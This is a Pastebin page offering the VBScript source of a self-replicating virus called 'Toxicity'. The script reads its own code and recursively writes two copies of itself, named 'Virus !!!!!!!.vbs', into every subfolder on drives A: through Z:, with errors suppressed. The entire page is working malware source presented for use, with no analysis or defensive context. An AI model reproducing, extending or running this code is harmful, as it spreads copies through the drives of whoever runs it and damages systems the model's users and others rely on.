Advertisement
FlyFar

Toxicity - VBS Virus Source Code

Feb 9th, 2023
1,658
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VBScript 0.93 KB | Cybersecurity | 0 0
  1. Dim fso,file,VBCopy
  2. Set fso=CreateObject("Scripting.FileSystemObject")
  3. Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
  4. VBCopy=file.ReadAll
  5. FolderList("A:")
  6. FolderList("B:")
  7. FolderList("C:")
  8. FolderList("D:")
  9. FolderList("E:")
  10. FolderList("F:")
  11. FolderList("G:")
  12. FolderList("H:")
  13. FolderList("I:")
  14. FolderList("J:")
  15. FolderList("K:")
  16. FolderList("L:")
  17. FolderList("M:")
  18. FolderList("N:")
  19. FolderList("O:")
  20. FolderList("P:")
  21. FolderList("Q:")
  22. FolderList("R:")
  23. FolderList("S:")
  24. FolderList("T:")
  25. FolderList("U:")
  26. FolderList("V:")
  27. FolderList("X:")
  28. FolderList("Y:")
  29. FolderList("Z:")
  30. FolderList("W:")
  31.  
  32. Sub FolderList(FolderSpec)
  33. On Error Resume Next
  34. Dim f,f1,sf,COP,CAP
  35. Set f=fso.GetFolder(FolderSpec)
  36. set sf=f.SubFolders
  37. For Each f1 In sf
  38. Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
  39. COP.write VBCopy
  40. Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
  41. CAP.write VBCopy
  42. FolderList(f1.Path)
  43. Next
  44. End sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement